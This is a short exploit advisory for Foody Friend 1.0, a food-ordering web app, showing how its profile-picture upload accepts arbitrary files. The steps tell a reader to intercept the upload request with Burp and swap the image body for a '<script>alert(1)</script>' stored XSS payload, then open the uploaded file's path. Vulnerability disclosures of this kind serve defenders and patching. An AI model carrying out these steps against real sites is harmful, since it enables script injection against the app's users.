Authored by CraCkEr

Foody Friend version 1.0 suffers from an arbitrary file upload vulnerability that can assist in cross site scripting attacks.

# Exploit Title: Foody Friend 1.0 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 12/07/2023
# Vendor: Bug Finder
# Vendor Homepage: https://bugfinder.net/
# Software Link: https://bugfinder.net/product/foody-friend-a-saas-based-web-app-food-ordering-bot-for-telegram-and-messenger/25
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server



## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS



## Steps to Reproduce:

1. Login as [Normal User]
2. In [User Dashboard] go to [Edit profile]
3. Choose profile picture & Upload any Image & Click on [Save Changes]
4. Catch the POST Request with [Burp Proxy Intercept]
5. Inject your [Stored XSS]

POST /user/profile HTTP/2

-----------------------------------------------------------
Content-Disposition: form-data; name="profile_picture"; filename="XSS.png"
Content-Type: image/png

<script>alert(1)</script>
-----------------------------------------------------------

6. Send the Request
7. Right Click on Your Profile Picture [Copy the Path of the Image]
8. Access your Uploded Evil file on this Path: https://website/assets/upload/userProfile/[Stored-XSS]



[-] Done